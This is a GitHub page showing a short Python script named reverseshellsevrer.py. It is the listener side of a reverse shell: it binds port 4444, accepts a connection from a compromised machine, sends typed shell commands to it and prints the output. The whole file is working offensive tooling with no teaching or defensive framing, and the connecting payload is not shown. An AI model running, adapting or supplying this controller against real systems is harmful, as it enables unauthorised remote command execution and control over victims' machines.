-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathreverseshellsevrer.py
55 lines (44 loc) · 1.08 KB
/
reverseshellsevrer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
import sys
def create_socket():
try:
global host
global port
global s
host = ""
port = 4444
s = socket.socket()
except socket.error as msg:
print(str(msg))
def bind_socket():
try:
global host
global port
global s
print("binding on port:" + str(port))
s.bind((host,port))
s.listen(5)
except socket.error as msg:
print(str(msg) + "retrieving connection.......")
bind_socket()
def accept_conn():
conn, add = s.accept()
print("receiving connection from :" + "IP" + str(add[0]) + "port" + str(add[1]))
send_commands(conn)
conn.close()
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quite':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
responce = str(conn.recv(1024), "utf-8")
print(responce, end = "")
def main():
create_socket()
bind_socket()
accept_conn()
main()